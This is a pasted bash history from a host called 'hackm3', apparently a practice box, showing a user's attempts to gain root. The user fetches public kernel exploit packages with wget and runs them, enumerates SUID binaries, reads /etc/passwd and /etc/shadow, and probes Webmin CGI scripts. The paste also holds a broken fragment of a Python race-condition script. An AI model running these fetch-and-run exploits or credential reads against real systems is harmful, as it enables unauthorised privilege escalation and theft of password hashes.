Advertisement
Guest User

Untitled

a guest
Jul 27th, 2010
584
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 7.44 KB | None | 0 0
  1. [n00b@hackm3 html]$ history
  2.     1  pwd
  3.     2  cd /var/www
  4.     3  ls
  5.     4  cd html
  6.     5  vi index.html
  7.     6  ls
  8.     7  cat info.php
  9.     8  ls -l
  10.     9  sudo
  11.    10  su
  12.    11  cd /home/n00b/
  13.    12  ls
  14.    13  cd ../
  15.    14  ls
  16.    15  cd /etc
  17.    16  cat passwd
  18.    17  cd /var/www/html
  19.    18  chown index.html
  20.    19  chown index.html n00b
  21.    20  chown n00b index.html
  22.    21  sudo chown noob index.html
  23.    22  cd webalizer/
  24.    23  ;s
  25.    24  ls
  26.    25  cat index.html
  27.    26  who
  28.    27  uname -a
  29.    28  ps aux
  30.    29  uname -a
  31.    30  cat .bash_history
  32.    31  uname -a
  33.    32  nano
  34.    33  ls
  35.    34  ls -la
  36.    35  cd ..
  37.    36  ls -la
  38.    37  cd ..
  39.    38  ls -la
  40.    39  cd tmp
  41.    40  ls
  42.    41  cd gconfd-root/
  43.    42  ls
  44.    43  ls -la
  45.    44  cd ..
  46.    45  cd ~/
  47.    46  ls
  48.    47  nano temp.c
  49.    48  mv temp.c temp.py
  50.    49  python temp.py
  51.    50  rm temp.py
  52.    51  nano temp.c
  53.    52  gcc temp.c -O temp
  54.    53  gcc temp.c -o temp
  55.    54  nano temp.c
  56.    55  rm temp.c
  57.    56  nano temp.c
  58.    57  gcc temp.c
  59.    58  nano temp.c
  60.    59  gcc temp.c -o temp
  61.    60  nano temp.c
  62.    61  gcc temp.c -o temp
  63.    62  nano temp.c
  64.    63  gcc temp.c -o temp
  65.    64  nano temp.c
  66.    65  nano temp.c
  67.    66  rm temp.c
  68.    67  who
  69.    68  uname 0a
  70.    69  uname -a
  71.    70  
  72.    71  import os
  73.    72  import time
  74.    73  import random
  75.    74  while (i == 0):
  76.    75          os.system("sleep 1")
  77.    76          while (x == 0):
  78.    77                  time.sleep(random.random()) #random int 0.0-1.0
  79.    78                  pid = str(os.system("ps -efl | grep 'sleep 1' | grep -v grep | { read PID REST ; echo $PID; }"))
  80.    79                  if (pid == 0): #need an active pid, race condition applies
  81.    80                          print "[+] Didnt grab PID, got: " + pid + " -- Retrying..."
  82.    81              return
  83.    82                  else:
  84.    83                          print "[+] PID: " + pid
  85.    84                          loc = "echo n > /proc/" + pid + "/fd/1"
  86.    85                          os.system(loc) # triggers the fault, runs via sh
  87.    86  uname -a
  88.    87  wget http://grsecurity.net/~spender/therebel.tgz
  89.    88  tar zxvf therebel.tgz
  90.    89  cd therebel
  91.    90  ls
  92.    91  nano therebel.sh
  93.    92  ./therebel.sh
  94.    93  gcc exploit.c -o exploit
  95.    94  gcc pwnkernel.c -o pwnkernel
  96.    95  ls
  97.    96  ./pwnkernel
  98.    97  ./exploit
  99.    98  cd ..
  100.    99  rm -rf therebel
  101.   100  nano temp.c
  102.   101  gcc temp.c -o temp
  103.   102  ls
  104.   103  ./temp
  105.   104  rm *
  106.   105  ls
  107.   106  wget http://www.exploit-db.com/sploits/2009-linux-sendpage2.tar.gz
  108.   107  tar zxvf 2009-linux-sendpage2.tar.gz
  109.   108  cd linux-sendpage2/
  110.   109  ls
  111.   110  ./run
  112.   111  cd ..
  113.   112  rm -rf *
  114.   113  ls
  115.   114  wget http://exploit-db.com/sploits/2009-linux-sendpage3.tar.gz
  116.   115  tar zxvf 2009-linux-sendpage3.tar.gz
  117.   116  cd linux-sendpage3/
  118.   117  ls
  119.   118  gcc exploit.c -o exploit
  120.   119  ;s
  121.   120  ls
  122.   121  ./exploit
  123.   122  cd ..
  124.   123  rm -rf *
  125.   124  uname -a
  126.   125  nano test.c
  127.   126  gcc test.c -o test
  128.   127  ./test
  129.   128  rm *
  130.   129  nano test.c
  131.   130  gcc test.c -o test
  132.   131  ./test
  133.   132  for i in `find / -perm +6000 -type f`; do ls -aFl $i >> suids; done
  134.   133  ls
  135.   134  cat suids
  136.   135  'find / -type f \( -perm -4000 -o -perm -2000 \) -exec ls -l {} \
  137.  136  ;
  138.  137  \
  139.  138  ";
  140.  139  'find / -type f \( -perm -4000 -o -perm -2000 \) -exec ls -l {} \;
  141.   140  /usr/libexec/utempter/utempter --help
  142.   141  /usr/libexec/utempter/utempter -v
  143.   142  /usr/libexec/utempter/utempter --v
  144.   143  nano test.sh
  145.   144  ./test.sh
  146.   145  chmod +x test.sh
  147.   146  ./test.sh
  148.   147  /usr/bin/gpasswd
  149.   148  /usr/bin/gpasswd --help
  150.   149  /usr/bin/gpasswd root
  151.   150  /usr/bin/gpasswd n00b
  152.   151  /usr/bin/gpasswd
  153.   152  nano .bash_his
  154.   153  ls -la
  155.   154  who
  156.   155  locate exp.c
  157.   156  updatedb
  158.   157  gpasswd
  159.   158  gpasswd -f root
  160.   159  telnet localhost 21
  161.   160  ftp localhost
  162.   161  who
  163.   162  ls
  164.   163  cat suids
  165.   164  uname -a
  166.   165  who
  167.   166  ls
  168.   167  wget http://www.grsecurity.net/~spender/enlightenment.tgz
  169.   168  tar zxvf enlightenment.tgz
  170.   169  cd enlightenment
  171.   170  ./run_null_exploits.sh
  172.   171  ./run_nonnull_exploits.sh
  173.   172  ./run_nonnull_exploits.sh
  174.   173  cd ..
  175.   174  ls
  176.   175  rm -rf *
  177.   176  ls
  178.   177  ls -la
  179.   178  who
  180.   179  ls
  181.   180  ls -la
  182.   181  ls -la
  183.   182  ps aux
  184.   183  ls
  185.   184  woah dude, this is lame, i just watched the video now hoping for a hint on this part, didnt know it showed how to gain ssh access :/
  186.   185  wall :P
  187.   186  ls
  188.   187  ls -la
  189.   188  for i in `find / -perm +6000 -type f`; do ls -aFl $i >> suids; done
  190.   189  ls -la
  191.   190  cat suids
  192.   191  ls
  193.   192  ls
  194. [quote]  193  who
  195.   194  cd /tmp
  196.   195  ls
  197.   196  cd gconfd-root/
  198.   197  ls
  199.   198  ls -la gconfd-root/
  200.   199  wall hey man, been trying to root this box for ages ><
  201.   200  wall hey man, been trying to root this box for ages
  202.   201  wall ahh thanks bud
  203.   202  who
  204.   203  wall might i ask whom you are ?
  205.   204  who
  206.   205  cd /root
  207.   206  ls
  208.   207  cd /
  209.   208  ls
  210.   209  cd media
  211.   210  ls
  212.   211  cd /var/www/html
  213.   212  ls
  214.   213  vi index.html
  215.   214  ls -l
  216.   215  cd /var/www/usage
  217.   216  ls
  218.   217  cd /etc
  219.   218  ls
  220.   219  cd webmin
  221.   220  ls
  222.   221  cd useradmin/
  223.   222  ls
  224.   223  cd ../
  225.   224  ls -l
  226.   225  cat config
  227.   226  cat /etc/shadow
  228.   227  reboot
  229.   228  cd /etc
  230.   229  ls
  231.   230  cat redhat-release
  232.   231  cd webmin/
  233.   232  ls
  234.   233  cd ~
  235.   234  ls
  236.   235  vi
  237.   236  vi
  238.   237  vi
  239.   238  ls
  240.   239  chmod a+x *
  241.   240  ./wunderbar_emporium.sh
  242.   241  vi
  243.   242  ./wunderbar_emporium.sh
  244.   243  rm -f *
  245.   244  ls
  246.   245  vi
  247.   246  ./exploit.c
  248.   247  chmod a+x exploit.c
  249.   248  ./exploit.c
  250.   249  wget http://downloads.securityfocus.com/vulnerabilities/exploits/27704.c
  251.   250  gcc 27704.c -o exploit
  252.   251  ./exploit
  253.   252  ls
  254.   253  rm *
  255.   254  ls
  256.   255  vi
  257.   256  gcc -fno-stack-protector -o exploit exploit.c
  258.   257  ./exploit
  259.   258  cc -fno-stack-protector -o exploit exploit.c
  260.   259  ./exploit
  261.   260  rm *
  262.   261  ls
  263.   262  uname -r
  264.   263  wget http://downloads.securityfocus.com/vulnerabilities/exploits/27801-2.c
  265.   264  gcc 27801-2.c
  266.   265  gcc -o exp 27801-2.c
  267.   266  vi 27801-2.c
  268.   267  gcc -o exp 27801-2.c
  269.   268  ./exp
  270.   269  rm *
  271.   270  locate cgi
  272.   271  ls
  273.   272  locate cgi > lol
  274.   273  nano lol
  275.   274  /usr/local/share/webmin-1.280/rpc.cgi
  276.   275  nano lol
  277.   276  /usr/local/share/webmin-1.280/file/list.cgi
  278.   277  /usr/local/share/webmin-1.280/file/list.cgi /root
  279.   278  /usr/bin/perl /usr/libexec/webmin/miniserv.pl /etc/webmin/miniserv.conf
  280.   279  nano lol
  281.   280  locate miniserv
  282.   281  /usr/bin/perl /usr/local/share/webmin-1.280/miniserv.pl /etc/webmin/miniserv.conf
  283.   282  /usr/bin/perl /usr/local/share/webmin-1.280/miniserv.pl /etc/webmin/miniserv.conf
  284.   283  nano lol
  285.   284  /usr/local/share/webmin-1.280/file/root.cgi
  286.   285  /usr/local/share/webmin-1.280/file/root.cgicd /usr/local/share/webmin-1.280/
  287.   286  cd /usr/local/share/webmin-1.280/
  288.   287  ls
  289.   288  cd file
  290.   289  ls -lar
  291.   290  ./list.cgi
  292.   291  ./list.cgi /root
  293.   292  nano list.cgi
  294.   293  locate defaultacl.cgi
  295.   294  locate defaultac
  296.   295  perl /usr/local/share/webmin-1.280/defaultacl
  297.   296  perl /usr/local/share/webmin-1.280/defaultacl 9 /etc/passwd
  298.   297  perl /usr/local/share/webmin-1.280/defaultacl
  299.   298  locate defaultacl.cgi
  300.   299  locate defaultac
  301.   300  ls
  302.   301  cd ..
  303.   302  ls
  304.   303  cd ..[/quote]
  305.   304  ls
  306.   305  cd ..
  307. [n00b@hackm3 html]$ history -c
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement